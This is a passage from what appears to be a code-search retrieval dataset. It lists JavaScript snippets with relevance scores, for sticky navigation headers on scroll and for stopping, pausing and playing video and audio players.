document.getElementById('nav-mobile').classList.remove('sticky');\n }\n}", "title": "" }, { "docid": "fb58706aad87aff344e779d4e95ea74e", "score": "0.6715948", "text": "function sticky() {\n var ww = jQuery(window).width();\n if(jQuery('body').hasClass('home-barber')) {\n var _menu = jQuery('.mobile-menu');\n var _header = jQuery('#zo2-header-wrap');\n var _book = jQuery('.btn-book-area');\n var _logo = jQuery('#sticky-logo');\n if(jQuery(window).scrollTop() >= 217) {\n if(ww > 991) _logo.prependTo('.mobile-menu');\n _header.addClass('sticky');\n _menu.addClass('up');\n _book.addClass('up');\n } else {\n if(ww > 991) _logo.appendTo('#zo2-header-logo');\n _header.removeClass('sticky');\n _menu.removeClass('up');\n _book.removeClass('up');\n }\n if(ww < 992) _logo.appendTo('#zo2-header-logo');\n }\n}", "title": "" }, { "docid": "d6376a88092cf47c6e4f2049d91aaa1f", "score": "0.6713119", "text": "function headerNav() {\n var header = $('.header'),\n curPos = $(document).scrollTop(),\n prevPos = curPos;\n\n function refreshNav() {\n curPos = $(document).scrollTop();\n if (curPos > 10) {\n if (header.hasClass('transparent')) {\n header.removeClass('transparent');\n }\n }\n if (curPos < 10) {\n header.addClass('transparent');\n if (header.hasClass('dynamic')) {\n header.removeClass('dynamic');\n }\n prevPos = curPos;\n }\n else if (curPos - prevPos > 50) {\n if (!header.hasClass('dynamic')) {\n header.addClass('dynamic');\n }\n prevPos = curPos;\n } else if (curPos - prevPos < -50) {\n if (header.hasClass('dynamic')) {\n header.removeClass('dynamic');\n }\n prevPos = curPos;\n }\n }\n\n refreshNav();\n\n $(window).scroll(refreshNav);\n }", "title": "" }, { "docid": "07d7083ae7ba3c2a178b19014121278d", "score": "0.66940296", "text": "function myFunction() {\n if (window.pageYOffset >= sticky * 3) {\n navbar.classList.add(\"sticky\")\n \n } else {\n navbar.classList.remove(\"sticky\");\n \n }\n}", "title": "" }, { "docid": "e81ace5bf35bea13e9639a14747ad0be", "score": "0.6693369", "text": "addSticky() {\n if (!document.getElementsByTagName('header')[0]) return;\n\n const header = document.getElementsByTagName('header')[0];\n const logo = document.getElementsByClassName('logo')[0];\n const addTaskBtns = document.getElementsByClassName('icon-add');\n const taskListLink = document.getElementsByClassName('icon-list')[0];\n\n if (window.pageYOffset > 20) {\n if (header.classList.contains('sticky')) return;\n\n header.classList.add('sticky');\n logo.classList.remove('invisible');\n\n if (taskListLink.classList.contains('navbar__active')) {\n addTaskBtns[0].parentElement.classList.remove('invisible');\n }\n } else {\n header.classList.remove('sticky');\n logo.classList.add('invisible');\n addTaskBtns[0].parentElement.classList.add('invisible');\n }\n }", "title": "" }, { "docid": "80585a2b1391e6f76f61c2d33ae8713c", "score": "0.668897", "text": "function fixNav() {\n // console.log(topOfSecondaryNav);\n if(window.scrollY >= topOfSecondaryNav){\n document.body.style.paddingTop = secondaryNav.offsetHeight + 'px';\n document.body.classList.add('fixed-nav');\n }\n else {\n document.body.style.paddingTop = 0;\n document.body.classList.remove('fixed-nav'); \n }\n // The read-only scrollY property of the Window interface returns the number of pixels that the document is currently scrolled vertically\n}", "title": "" }, { "docid": "48d020eb9cb0c058db1082459ca4cc9d", "score": "0.6676994", "text": "function stickyMenu() {\r\n\tvar _menuHeight = _Header.height();\r\n\r\n\t//if ($('html').hasClass('desktop-version')) {\r\n\t\t$('.main').css('padding-top', _menuHeight);\r\n\t\t$('.main-wrapper .aside').css('padding-top', _menuHeight);\r\n\t/*} else {\r\n\t\t$('.main').css('padding-top', _menuHeight);\r\n\t\t$('.main-wrapper .aside').css('padding-top', _menuHeight);\r\n\t}*/\r\n}", "title": "" }, { "docid": "42388fd015ff0c739b4e25b9a153ae53", "score": "0.6674576", "text": "function stickyHeader() {\n $(window).on('scroll', function () {\n var sticky_menu = $('.sticky__header');\n var pos = sticky_menu.position();\n if (sticky_menu.length) {\n var windowpos = sticky_menu.top;\n $(window).on('scroll', function () {\n var windowpos = $(window).scrollTop();\n if (windowpos > pos.top + 250) {\n sticky_menu.addClass('is-sticky');\n } else {\n sticky_menu.removeClass('is-sticky');\n }\n });\n }\n });\n }", "title": "" }, { "docid": "184decc48a0eb877c7e9af05c796e1b3", "score": "0.66726005", "text": "function stickyMenu() {\n\n\tif(window.pageYOffset >= menuBarHeight) {\n\t\tmenuBar.classList.add('sticky');\n\t}\n\telse {\n\t\tmenuBar.classList.remove('sticky');\n\n\t}\n\n}", "title": "" }, { "docid": "fd1f43e6e054b874e65a10f1287300fe", "score": "0.667133", "text": "function fixedNavbar() {\n if (window.pageYOffset >= sticky) {\n navbar.classList.add(\"navbar--sticky\");\n homeContent.classList.add(\"home-content--sticky-navbar\");\n } else {\n navbar.classList.remove(\"navbar--sticky\");\n homeContent.classList.remove(\"home-content--sticky-navbar\");\n }\n}", "title": "" }, { "docid": "d90ae20eafa50a538f476a02218f5fa0", "score": "0.66660887", "text": "function stickyMenu() {\n /* if the number of pixels that the page has scrolled along the vertical axis is greater or \n equal to the the menuTop then the sticky class will be allocated to the menu html element */\n if (window.pageYOffset >= menuTop) {\n menu.classList.add(\"sticky\")\n } else {\n menu.classList.remove(\n \"sticky\");\n } //Classlist used & allocated the add/remove methods to add/remove the sticky class to the menu element\n}", "title": "" }, { "docid": "e07a2e8fc6ec8c08e5528dc3d161358c", "score": "0.665753", "text": "function stickyNavbarFunction() {\r\n if (window.pageYOffset >= stickyNavbar) {\r\n navbar.classList.add(\"sticky\")\r\n } else {\r\n navbar.classList.remove(\"sticky\");\r\n }\r\n}", "title": "" }, { "docid": "dfa4102fe5d029c7b29664a7630143cd", "score": "0.6654274", "text": "function setNavbarMode() {\n checkIfStickyPos();\n $(window).width() < 600? \n $(\"#navigation\").removeClass(\"horizontal\").addClass(\"vertical\")\n : $(\"#navigation\").removeClass(\"vertical\").addClass(\"horizontal\");\n }", "title": "" }, { "docid": "515a715a7ea413dc205ab83e5f11267f", "score": "0.6653875", "text": "function myFunction() {\n if (window.pageYOffset > sticky) {\n navbar.classList.add(\"sticky\");\n } else {\n navbar.classList.remove(\"sticky\");\n }\n }", "title": "" }, { "docid": "b485da1e7a55308ae2ab86cf6c55c569", "score": "0.6639944", "text": "function myFunction() {\n if (window.pageYOffset >= sticky) {\n navbar.classList.add(\"sticky\")\n } else {\n navbar.classList.remove(\"sticky\");\n }\n}", "title": "" }, { "docid": "aa4fabf0cc81740fd32811c3c84ee91f", "score": "0.66371036", "text": "function myFunction() {\n if (window.pageYOffset >= sticky) {\n navbar.classList.add(\"sticky\");\n } else {\n navbar.classList.remove(\"sticky\");\n }\n}", "title": "" }, { "docid": "aa4fabf0cc81740fd32811c3c84ee91f", "score": "0.66371036", "text": "function myFunction() {\n if (window.pageYOffset >= sticky) {\n navbar.classList.add(\"sticky\");\n } else {\n navbar.classList.remove(\"sticky\");\n }\n}", "title": "" }, { "docid": "e5e96538c67c03ba8979640c42302661", "score": "0.6636683", "text": "function stickyHeaderEvents() {\r\n if ($(\".events-header\").length) {\r\n var navigation = $(\".events-header > .navigation\");\r\n var scroll = $(window).scrollTop();\r\n var top = $(\".events-header .navigation\").height();\r\n\r\n if (scroll > top) {\r\n navigation.addClass(\"sticky\");\r\n } else {\r\n navigation.removeClass(\"sticky\");\r\n }\r\n\r\n }\r\n }", "title": "" }, { "docid": "2c53495cb43ce3125e3fe899eeca3ec1", "score": "0.6631092", "text": "function myFunction() {\n if (window.pageYOffset >= sticky) {\n navbar.classList.add(\"sticky\")\n } else {\n navbar.classList.remove(\"sticky\");\n }\n}", "title": "" }, { "docid": "2c53495cb43ce3125e3fe899eeca3ec1", "score": "0.6631092", "text": "function myFunction() {\n if (window.pageYOffset >= sticky) {\n navbar.classList.add(\"sticky\")\n } else {\n navbar.classList.remove(\"sticky\");\n }\n}", "title": "" }, { "docid": "2c53495cb43ce3125e3fe899eeca3ec1", "score": "0.6631092", "text": "function myFunction() {\n if (window.pageYOffset >= sticky) {\n navbar.classList.add(\"sticky\")\n } else {\n navbar.classList.remove(\"sticky\");\n }\n}", "title": "" }, { "docid": "2c53495cb43ce3125e3fe899eeca3ec1", "score": "0.6631092", "text": "function myFunction() {\n if (window.pageYOffset >= sticky) {\n navbar.classList.add(\"sticky\")\n } else {\n navbar.classList.remove(\"sticky\");\n }\n}", "title": "" }, { "docid": "2c53495cb43ce3125e3fe899eeca3ec1", "score": "0.6631092", "text": "function myFunction() {\n if (window.pageYOffset >= sticky) {\n navbar.classList.add(\"sticky\")\n } else {\n navbar.classList.remove(\"sticky\");\n }\n}", "title": "" }, { "docid": "2c53495cb43ce3125e3fe899eeca3ec1", "score": "0.6631092", "text": "function myFunction() {\n if (window.pageYOffset >= sticky) {\n navbar.classList.add(\"sticky\")\n } else {\n navbar.classList.remove(\"sticky\");\n }\n}", "title": "" } ]
e6ca862470ddb5babfcf7ec8c000eb0e
stop/play the current visible flowplayer
[ { "docid": "fb95d5601d5def1c138554b69021c7a8", "score": "0.68147194", "text": "function controlCurrentFlowplayer(isPlay) {\n var flowplayerLength = $('a.flowplayer').length;\n var videoPlayerLength = $('.video-js').length;\n if(videoPlayerLength){\n var idToPlay = 0;\n if (videoPlayerLength > 1) {\n idToPlay = getVisibleQuestion();\n }\n var type = getExcerptData()[idToPlay].type;\n switch (type) {\n case 'audio':\n app.template.videoplayerHelper()[isPlay ? 'play' : 'pause'](app.template.videoplayerHelper().getVideoPlayerId('#data_audio_' + idToPlay + ' .video-js'));\n break;\n\n case 'video':\n app.template.videoplayerHelper()[isPlay ? 'play' : 'pause'](app.template.videoplayerHelper().getVideoPlayerId('.video-js:eq(' + idToPlay + ')'));\n break;\n default:\n }\n }else if(flowplayerLength){\n var idToPlay = 0;\n if (flowplayerLength > 1) {\n idToPlay = getVisibleQuestion();\n }\n var type = getExcerptData()[idToPlay].type;\n switch (type) {\n case 'audio':\n app.template.flowplayerHelper()[isPlay ? 'play' : 'stop']('#data_audio_' + idToPlay + ' a.flowplayer');\n break;\n\n case 'video':\n app.template.flowplayerHelper()[isPlay ? 'play' : 'stop']('a.flowplayer:eq(' + idToPlay + ')');\n break;\n default:\n }\n }\n }", "title": "" } ]
[ { "docid": "fa76567f5caf4c31f02e94083c0b7eff", "score": "0.7309938", "text": "function stop() {\n player.stopVideo();\n }", "title": "" }, { "docid": "8e58b1867ec2fedf4741a055c2560afe", "score": "0.7231208", "text": "stopPlayer() {\n this.$flickity.stopPlayer();\n }", "title": "" }, { "docid": "b7b9bb2c95657660203a0a0eef339883", "score": "0.7168298", "text": "skip() {\n this.player.stop();\n }", "title": "" }, { "docid": "3c0b7e70985cd87851d4bb4bec062083", "score": "0.70448273", "text": "stop(){\n SC.stream( \"/tracks/\"+ this.currentTrack ).then(function(player){\n tracks = player;\n // $('#PauseBtn').hide();\n // $('#PlayBtn').show();\n \tplayer.pause();\n player.seek(0);\n \tplayer.on(\"finish\",function(){\n this.currentTrack ++;\n });\n });\n }", "title": "" }, { "docid": "472a95652b6b36449cefa7d01fae904b", "score": "0.7039955", "text": "unpausePlayer() {\n this.$flickity.unpausePlayer();\n }", "title": "" }, { "docid": "44d4114ea50883fafee5e7672ce8f882", "score": "0.70381", "text": "stop() {\r\n\t\twindow.clearInterval(this._timer);\r\n\t\tthis._player.pause();\r\n\t\tthis._player.currentTime = this._progressOffset * (this._player.duration | 0);\r\n\t\tthis._updateProgress();\r\n\t\tthis._events.fire(\"stop\");\r\n\t}", "title": "" }, { "docid": "9ad27d1082a6ad4b8323fba32da8edea", "score": "0.7032826", "text": "function stopVideo() {\n player.stopVideo();\n }", "title": "" }, { "docid": "6f7e365952be91e171070d4405028f25", "score": "0.7031974", "text": "function stopVideo() {\n blockButtons();\n player.stopVideo();\n\n\n}", "title": "" }, { "docid": "b2448ba092f6d3318bad634265438801", "score": "0.70232797", "text": "function stopVideo() {\n player.stopVideo();\n }", "title": "" }, { "docid": "7c6447a17c79e8f8ad5e2d412d675ffa", "score": "0.7022606", "text": "function stopPlay(){\n\t\tvar thisAnimatedWalker = $(this.parentNode.parentNode).data('walker');\n\t\t\n\t\tthisAnimatedWalker.pathAnimator.running ? thisAnimatedWalker.pathAnimator.stop() : thisAnimatedWalker.resume.apply(thisAnimatedWalker);\n\t}", "title": "" }, { "docid": "6516d3930ccba794de6742e60462a875", "score": "0.7003803", "text": "function player_stop( e ){\r\n\r\n\tclose_player();\r\n\tplaying_mode=NO;\r\n\tplayer.pause();\r\n\tplayer.currentTime = 0;\r\n}", "title": "" }, { "docid": "961828d8198d65cf29295f23d56d37b5", "score": "0.700106", "text": "function stopVideo() {\nplayer.stopVideo();\n}", "title": "" }, { "docid": "0d381d215747b8cffcc9f198b50e94b7", "score": "0.6979716", "text": "function stopPlaying() {\n state = 'stopped';\n absNode.stop();\n $('#record').prop('src', 'web-recorder/images/play.png');\n }", "title": "" }, { "docid": "4cf13b0d3fdacaebba6302d617f88ed1", "score": "0.6976391", "text": "stop() {\n if (this.playbackSource) {\n this.playbackSource.stop();\n }\n }", "title": "" }, { "docid": "0b1dbb97c49e2a63e9d238b9c31314c5", "score": "0.69699514", "text": "function stop() {\n clearTimeout(timeoutId);\n controls.playing = false;\n }", "title": "" }, { "docid": "00abbfd71793f8a9f6683fdc825f043f", "score": "0.69680417", "text": "switch_off() {\n // pause video node\n this.video_node.pause();\n //stop media stream\n this.stream.getTracks()[0].stop();\n }", "title": "" }, { "docid": "1f6b7b2c34f679ae042cfa621ec733c0", "score": "0.6956185", "text": "async stopPlayer () {\n\t\tif (this.playProcess) {\n\t\t\tthis.playProcess.unsuspend ();\n\t\t\tthis.playProcess.stop ();\n\t\t\tawait this.playProcess.awaitEnd ();\n\t\t}\n\t\tthis.playProcess = null;\n\t\tthis.isPlaying = false;\n\t}", "title": "" }, { "docid": "abacdc106fa93e101863574df788b74e", "score": "0.6916257", "text": "stop () {\n if (this._isTracking) {\n this.options.target.style.display = 'none'\n this._isTracking = false\n this.video.srcObject.getTracks().forEach(track => track.stop())\n }\n }", "title": "" }, { "docid": "6cb0c70ec557aca92afd29179560d585", "score": "0.6911167", "text": "dispose() {\n this.player_.off('ended', this.show);\n this.player_.off(['play', 'seek', 'seeked'], this.hide);\n super.dispose();\n }", "title": "" }, { "docid": "a1ccb955afc5f8006eacdcf62d6168d9", "score": "0.6905968", "text": "function stop() {\n events.push('stopVideo();');\n ytswf.stopVideo();\n }", "title": "" }, { "docid": "54c29213495678607b30891dd3da8ee3", "score": "0.69006854", "text": "function play_stop() {\n playing = !playing;\n play_stop_video();\n play_stop_audio();\n}", "title": "" }, { "docid": "3bc98266020548e928da1b72d172ec17", "score": "0.68957216", "text": "function stopPlayer() {\n\tvideoPlayer.pause();\n\tvideoPlayer.currentTime = 0;\n}", "title": "" }, { "docid": "905687ff6329b0cbd0f4a35884bfe5d7", "score": "0.6880012", "text": "function stopVideo() {\n scope.SETTINGS.sourceVideo.src = \"\";\n //onHangUp();\n }", "title": "" }, { "docid": "f7850ed3143106eaf4b2d3bfaa948094", "score": "0.68617994", "text": "playerWin(){\n this.stopBugStream();\n this.displayModal();\n }", "title": "" }, { "docid": "58d0689aa3e0a47b5deb5701f68f4897", "score": "0.6834698", "text": "stopPlayer() {\n this.playerMovement = false;\n }", "title": "" }, { "docid": "166247ffa2d59353f39877c50464631c", "score": "0.6832676", "text": "function _stop() {\n\t\t\t_container.pause();\n\t\t\t_clearInterval();\n\t\t\t_model.position = 0;\n\t\t\t_stopped = true;\n\t\t\t_setState(jwplayer.api.events.state.IDLE);\n\t\t}", "title": "" }, { "docid": "c6a404fce85b3510a818c418ffea1c86", "score": "0.68190026", "text": "function SimpleScoreLiveView_stopShowing() {\n}", "title": "" }, { "docid": "1684d71a142a7b7ba2d17d2a3a02c687", "score": "0.6809562", "text": "function stopPlayer() {\r\n \r\n playingSquare = null;\r\n \r\n d3.select(\"#audioIcon\")\r\n .classed(\"hidden\", true);\r\n\r\n d3.select(\"#player\").attr(\"src\", \"\");\r\n document.getElementById('player').currentTime = 0;\r\n }", "title": "" }, { "docid": "e76bcd6ae60b9b6d331301615390aac8", "score": "0.680854", "text": "pauseVideo() {\n this.resetTimeout();\n this.playerInstance.pause();\n if (this.hlsInstance) {\n this.hlsInstance.stopLoad(); // stop further buffering\n this.hlsInstance = 'RELOAD_IT';\n }\n }", "title": "" }, { "docid": "8ca9b7cb7d2b35c3f2b4205faa1a3052", "score": "0.6794104", "text": "function jplayer_stop() {\n\tconsole.log(\"Stop command\");\n\tplayback_status = PS_STOP;\n\tfadeout_audio_stop();\n\tscr_stop();\n}", "title": "" }, { "docid": "2cc6e505abf71cc69ecb7644ed6e76e5", "score": "0.67834646", "text": "function stopPlayback(){\n if (source !== null) {\n source.stop(0);\n $(playSVG).removeClass('on');\n $(vaderSVG).removeClass('on');\n }\n}", "title": "" }, { "docid": "f39c3d05fab472b073c1f2134dd4c020", "score": "0.67779535", "text": "function stopPlayer() {\r\n player.isMoving = false;\r\n }", "title": "" }, { "docid": "34189e7ae2460c2e021b6af3dd14b219", "score": "0.67182094", "text": "stop() {\n this.worker.postMessage([events.STOP_PLAYING]);\n }", "title": "" }, { "docid": "fac8e2ee8be67730817b556125d8acc5", "score": "0.6710652", "text": "function pause () {\n\tplaying = false;\n}", "title": "" }, { "docid": "9f8e269bed9f3eae93c52fe5e9fb91d8", "score": "0.67079043", "text": "stop() {\n this.loadTask.cancelAll();\n this.playTask.cancelAll();\n\n assert('[ember-stereo] Nothing is playing.', this.currentSound);\n this.currentSound.stop();\n }", "title": "" }, { "docid": "3794ccb2640b33adb90c5b7e0d074ae7", "score": "0.66910243", "text": "function stopVideo() {\n \tplayer.pause();\n \tif (player.currentTime) player.currentTime = 0;\n }", "title": "" }, { "docid": "f4967b76f2d78291ba2603e1022e1e5a", "score": "0.6671459", "text": "function stopPlayer(){\n mediaPlayer.pause();\n mediaPlayer.currentTime = 0;\n replay.style.display = 'inline-block'\n changeButtonType(playPauseBtn, 'play');\n}", "title": "" }, { "docid": "bcc8a78a895359f5687dea2e7895b49e", "score": "0.66642964", "text": "stop() {\n Tone.context.clearTimeout(this._id);\n this._players.stopAll(\"+0.5\");\n }", "title": "" }, { "docid": "abf2ec3d15a2af32828fdc71081dd3e5", "score": "0.66428214", "text": "function pauseTrack() {\n player.pause();\n}", "title": "" }, { "docid": "0f3cd10c97654730b43883b603b42cb8", "score": "0.6634331", "text": "function play_stop_video() {\n if (vid != undefined){\n if(playing)\n vid.play();\n else\n vid.pause();\n }\n}", "title": "" }, { "docid": "761710ef811c7d4c07cf7038dd7aea4d", "score": "0.6607919", "text": "function detener() {\r\n video.pause();\r\n}", "title": "" }, { "docid": "2e5c99f1669b9870339c18bdb450f0ea", "score": "0.65888476", "text": "stopPlayer() {\n\t\tclearInterval(this.interval);\n\t}", "title": "" }, { "docid": "de774a8065053acddc341fb27446c34d", "score": "0.6578752", "text": "stop() {\n this.pause();\n this.seekTo(0);\n }", "title": "" }, { "docid": "7165b1c5664f4e217f8ff528ba002991", "score": "0.6576352", "text": "stop() {\n const tracks = this.stream.getTracks();\n tracks.forEach(track => track.stop());\n\n try {\n this.webcamVideoElement.srcObject = null;\n } catch (error) {\n console.log(error);\n this.webcamVideoElement.src = null;\n }\n\n this.isClosed = true;\n }", "title": "" }, { "docid": "c5101671eff2d99f61ffa5820120c5d1", "score": "0.6574535", "text": "pausePlayer() {\n this.$flickity.pausePlayer();\n }", "title": "" }, { "docid": "e623ff3b6926c4e01bbfcc26f8a4f08a", "score": "0.6573339", "text": "function stop(){\n document.getElementById(\"player\").currentTime = 0;\n document.getElementById(\"player\").pause();\n document.getElementById(\"playBtn\").disabled = false;\n document.getElementById(\"setupBtn\").disabled = false;\n if(timer) {\n for(var i = 0; i < timer.length; ++i) {\n if(timer[i]) {\n window.clearTimeout(timer[i]);\n }\n }\n timer = null;\n } \n}", "title": "" }, { "docid": "448451d95baf422975d5600df31335c7", "score": "0.65537614", "text": "playRunDown() {\n this.play('run_front', true);\n }", "title": "" }, { "docid": "e82571be571736ea035b80fbb176df83", "score": "0.6552446", "text": "toggle() {\n if (this.isPaused()) {\n this.play();\n } else if (this.isPlaying()) {\n this.pause();\n } else {\n this.pause();\n }\n }", "title": "" }, { "docid": "5bdcf868420e5b6d4e49cc9992781489", "score": "0.654238", "text": "play(){\n\t\twindow[this.id].playVideo() \n\t\tfor( var i=0; i<this.listener.length; i++ )\n\t\t\tif( Konekti.client[this.listener[i]].play !== undefined )\n\t\t\t\tKonekti.client[this.listener[i]].play(this.id) \n\t}", "title": "" }, { "docid": "6f3fc99223104e5c2dff448d3204f19c", "score": "0.6541313", "text": "function pauseVideo() {\n player.pauseVideo();\n}", "title": "" }, { "docid": "6c1476858e5150f65fef8b0d1fbe21e3", "score": "0.65283155", "text": "function stopSong() {\n myPlayer.pause();\n myPlayer.seek(0);\n }", "title": "" }, { "docid": "92bacd96ddee20dd5e72b96f6347e5ee", "score": "0.6513076", "text": "async REQ_STOP_PLAYING () {\n this.$socketClient().sendRequest({\n type: 'link',\n data: `stop-playing ${this.state.player.playback.timestamp}`\n }).then(() => {\n commit('SET_PLAYING', false)\n })\n }", "title": "" }, { "docid": "d7cd66f4da9860b91963159ab19a5acd", "score": "0.65051067", "text": "pause(){\n SC.stream( \"/tracks/\"+ this.currentTrack ).then(function(player){\n tracks = player;\n // $('#PauseBtn').hide();\n // $('#PlayBtn').show();\n \tplayer.pause();\n \tplayer.on(\"finish\",function(){\n this.currentTrack ++;\n });\n });\n }", "title": "" }, { "docid": "de48291d73ad5e43956907fcc6b490d2", "score": "0.6472772", "text": "stopVideoPreview() {\n IrisRtcSdk.stopPreview();\n }", "title": "" }, { "docid": "8f45d6fb126f82337b22e27eb18ce807", "score": "0.6469598", "text": "function pause() {\n player.pauseVideo();\n }", "title": "" }, { "docid": "83cad94e46c798c625f2a4118ce440ee", "score": "0.64615256", "text": "async play() {\n if (!this.playing) {\n this.playing = true;\n await this._setup;\n await this._vlc.command(\"pl_pause\", {\n id: 0\n });\n }\n }", "title": "" }, { "docid": "e655f3fda4c5684e6888ba454deac1d8", "score": "0.64590514", "text": "function stopPlayback( id ) {\n soundManager.destroySound( id );\n dom.progressSlider.css( \"width\", 0 );\n }", "title": "" }, { "docid": "6a2be94aff563b2b9f22994d7538c141", "score": "0.6453197", "text": "stop() {\n if(_this.stream) {\n _this.stream.getTracks().forEach(track => track.stop());\n }\n }", "title": "" }, { "docid": "5112410d7d350a1eaf415dd9ac10eb1a", "score": "0.64522547", "text": "pause(){ \n\t\twindow[this.id].pauseVideo()\n\t\tfor( var i=0; i<this.listener.length; i++ )\n\t\t\tif( Konekti.client[this.listener[i]].pause !== undefined )\n\t\t\t\tKonekti.client[this.listener[i]].pause(this.id)\n\t}", "title": "" }, { "docid": "d8dce13620ee98062e6f1fc86bce1ff9", "score": "0.6442112", "text": "function stopPlayer() {\n\tmediaPlayer.pause();\n\tmediaPlayer.currentTime = 0;\n var getIcon = document.getElementById('transportIcon');\n\n if (getIcon.classList.contains('fa-play')) {\n getIcon.classList.remove('fa-play');\n getIcon.classList.add('fa-play');\n } else {\n getIcon.classList.remove('fa-pause');\n getIcon.classList.add('fa-play');\n }\n}", "title": "" }, { "docid": "087c47094ddacb6b094ff9afeb770da7", "score": "0.6432111", "text": "function stopDiv(e) {\n navControlObj.setPauseState();\n navControlObj.managePlayPause();\n $(cvs).css('display', 'none');\n }", "title": "" }, { "docid": "6ed3cd9b26dae6cd60df43c4fbe9ead7", "score": "0.64222395", "text": "function playerStop(e){\n //Wrapper for player.stop\n players[local].stop(e);\n }", "title": "" }, { "docid": "ee98bb2eb37e902951223e22a77daf4e", "score": "0.6417178", "text": "function stopSong() {\n activeSong.currentTime = 0;\n activeSong.pause();\n}", "title": "" }, { "docid": "18c4be16e31cd1f89cc95bc5872b8cf6", "score": "0.6416452", "text": "methodPause () {\n\t\tthis.instancePlayer.pauseVideo()\n\t}", "title": "" }, { "docid": "a670a2339f0063810c5b19de9902937f", "score": "0.6413439", "text": "function stopPlayer() {\n mediaPlayer.pause();\n mediaPlayer.currentTime = 0;\n var getIcon = document.getElementById('transportIcon');\n\n if (getIcon.classList.contains('fa-play')) {\n getIcon.classList.remove('fa-play');\n getIcon.classList.add('fa-play');\n } else {\n getIcon.classList.remove('fa-pause');\n getIcon.classList.add('fa-play');\n }\n}", "title": "" }, { "docid": "46cd64897d63521776f11831811f0949", "score": "0.6404867", "text": "stop () {\r\n document.body.classList.remove('handsfree-started')\r\n document.body.classList.add('handsfree-stopped')\r\n\r\n if (this.isTracking) {\r\n this.isTracking = false\r\n this.debug.$webcam.srcObject.getTracks().forEach(track => track.stop())\r\n this.toggleDebugger(false)\r\n this.onStopHooks()\r\n }\r\n }", "title": "" }, { "docid": "fcd7e1b51e5585cf833ab0e8d35d0f6d", "score": "0.63874775", "text": "function stopMedia(destiny){\n var panel = getSlideOrSection(destiny);\n\n //stopping HTML5 media elements\n panel.find('video, audio').each(function(){\n var element = $(this).get(0);\n\n if( !element.hasAttribute('data-keepplaying') && typeof element.pause === 'function' ) {\n element.pause();\n }\n });\n\n //youtube videos\n panel.find('iframe[src*=\"youtube.com/embed/\"]').each(function(){\n var element = $(this).get(0);\n\n if( /youtube\\.com\\/embed\\//.test($(this).attr('src')) && !element.hasAttribute('data-keepplaying')){\n $(this).get(0).contentWindow.postMessage('{\"event\":\"command\",\"func\":\"pauseVideo\",\"args\":\"\"}','*');\n }\n });\n }", "title": "" }, { "docid": "fcd7e1b51e5585cf833ab0e8d35d0f6d", "score": "0.63874775", "text": "function stopMedia(destiny){\n var panel = getSlideOrSection(destiny);\n\n //stopping HTML5 media elements\n panel.find('video, audio').each(function(){\n var element = $(this).get(0);\n\n if( !element.hasAttribute('data-keepplaying') && typeof element.pause === 'function' ) {\n element.pause();\n }\n });\n\n //youtube videos\n panel.find('iframe[src*=\"youtube.com/embed/\"]').each(function(){\n var element = $(this).get(0);\n\n if( /youtube\\.com\\/embed\\//.test($(this).attr('src')) && !element.hasAttribute('data-keepplaying')){\n $(this).get(0).contentWindow.postMessage('{\"event\":\"command\",\"func\":\"pauseVideo\",\"args\":\"\"}','*');\n }\n });\n }", "title": "" }, { "docid": "fcd7e1b51e5585cf833ab0e8d35d0f6d", "score": "0.63874775", "text": "function stopMedia(destiny){\n var panel = getSlideOrSection(destiny);\n\n //stopping HTML5 media elements\n panel.find('video, audio').each(function(){\n var element = $(this).get(0);\n\n if( !element.hasAttribute('data-keepplaying') && typeof element.pause === 'function' ) {\n element.pause();\n }\n });\n\n //youtube videos\n panel.find('iframe[src*=\"youtube.com/embed/\"]').each(function(){\n var element = $(this).get(0);\n\n if( /youtube\\.com\\/embed\\//.test($(this).attr('src')) && !element.hasAttribute('data-keepplaying')){\n $(this).get(0).contentWindow.postMessage('{\"event\":\"command\",\"func\":\"pauseVideo\",\"args\":\"\"}','*');\n }\n });\n }", "title": "" }, { "docid": "fcd7e1b51e5585cf833ab0e8d35d0f6d", "score": "0.63874775", "text": "function stopMedia(destiny){\n var panel = getSlideOrSection(destiny);\n\n //stopping HTML5 media elements\n panel.find('video, audio').each(function(){\n var element = $(this).get(0);\n\n if( !element.hasAttribute('data-keepplaying') && typeof element.pause === 'function' ) {\n element.pause();\n }\n });\n\n //youtube videos\n panel.find('iframe[src*=\"youtube.com/embed/\"]').each(function(){\n var element = $(this).get(0);\n\n if( /youtube\\.com\\/embed\\//.test($(this).attr('src')) && !element.hasAttribute('data-keepplaying')){\n $(this).get(0).contentWindow.postMessage('{\"event\":\"command\",\"func\":\"pauseVideo\",\"args\":\"\"}','*');\n }\n });\n }", "title": "" }, { "docid": "fcd7e1b51e5585cf833ab0e8d35d0f6d", "score": "0.63874775", "text": "function stopMedia(destiny){\n var panel = getSlideOrSection(destiny);\n\n //stopping HTML5 media elements\n panel.find('video, audio').each(function(){\n var element = $(this).get(0);\n\n if( !element.hasAttribute('data-keepplaying') && typeof element.pause === 'function' ) {\n element.pause();\n }\n });\n\n //youtube videos\n panel.find('iframe[src*=\"youtube.com/embed/\"]').each(function(){\n var element = $(this).get(0);\n\n if( /youtube\\.com\\/embed\\//.test($(this).attr('src')) && !element.hasAttribute('data-keepplaying')){\n $(this).get(0).contentWindow.postMessage('{\"event\":\"command\",\"func\":\"pauseVideo\",\"args\":\"\"}','*');\n }\n });\n }", "title": "" }, { "docid": "ec207b4b01f4f19f8d0cecdfbbadfbe2", "score": "0.6383295", "text": "function togglePausePlay() {\r\n\tplayer.sendEvent(\"PLAY\", !playerState);\r\n}", "title": "" }, { "docid": "3a11473753501a2f77e356df865da603", "score": "0.63829607", "text": "function stopMedia(destiny){\r\n var panel = getSlideOrSection(destiny);\r\n\r\n //stopping HTML5 media elements\r\n panel.find('video, audio').each(function(){\r\n var element = $(this).get(0);\r\n\r\n if( !element.hasAttribute('data-keepplaying') && typeof element.pause === 'function' ) {\r\n element.pause();\r\n }\r\n });\r\n\r\n //youtube videos\r\n panel.find('iframe[src*=\"youtube.com/embed/\"]').each(function(){\r\n var element = $(this).get(0);\r\n\r\n if( /youtube\\.com\\/embed\\//.test($(this).attr('src')) && !element.hasAttribute('data-keepplaying')){\r\n $(this).get(0).contentWindow.postMessage('{\"event\":\"command\",\"func\":\"pauseVideo\",\"args\":\"\"}','*');\r\n }\r\n });\r\n }", "title": "" }, { "docid": "3b43021d281d56c14b15741d5124c795", "score": "0.63792545", "text": "stop() {\n this.soundElm.pause();\n if(!this.background) this.soundElm.currentTime = 0;\n }", "title": "" }, { "docid": "e954cf4a9aa0cb776815aa107d2dbb3c", "score": "0.6375707", "text": "stopDucking()\n {\n if (!this.over && this.player.anims.getCurrentKey() == \"duck\")\n {\n this.player.play(\"run\");\n this.setPhysicalDefault();\n }\n }", "title": "" }, { "docid": 